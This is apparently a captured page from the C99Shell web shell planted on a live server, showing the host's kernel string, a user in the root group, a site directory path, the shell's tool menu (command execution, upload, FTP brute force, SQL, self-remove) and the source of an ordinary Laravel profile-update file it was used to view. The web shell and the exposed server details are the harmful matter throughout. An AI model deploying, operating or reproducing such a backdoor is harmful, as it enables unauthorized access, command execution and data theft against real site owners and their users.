!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Actions/Profile/   drwxr-xr-x
Free 29.28 GB of 117.98 GB (24.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProfileUpdate.php (1.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Actions\Profile;

use 
App\Models\Admin;
use 
Illuminate\Support\Facades\Hash;

class 
ProfileUpdate
{
    
/**
     * Profile Update.
     *
     * @return bool
     */
    
public static function update(object $request)
    {
        if (
$request->isPasswordChange) {
            
$pass_change_done self::change_password($request);

            if (
$pass_change_done) {
                return 
self::profile_data($request);
            } else {
                return 
$pass_change_done;
            }
        } else {
            return 
self::profile_data($request);
        }
    }

    
/**
     * Profile data Update.
     *
     * @return bool
     */
    
protected static function profile_data(object $request)
    {
        
$user Admin::find(auth('admin')->id());
        
$user->name $request->name;
        
$user->email $request->email;

        if (
$request->hasFile('image') && $request->file('image')->isValid()) {
            
$url $request->image->move('uploads/user'$request->image->hashName());
            
$user->update(['image' => $url]);
        }

        
$user->save();

        return 
true;
    }

    
/**
     * Password  Update.
     *
     * @return bool
     */
    
protected static function change_password(object $request)
    {
        
$password_check Hash::check($request->current_passwordauth('admin')->user()->password);

        if (
$password_check) {
            
$user Admin::findOrFail(auth('admin')->id());
            
$user->update([
                
'password' => bcrypt($request->password),
                
'updated_at' => now(),
            ]);

            return 
true;
        } else {
            return 
false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--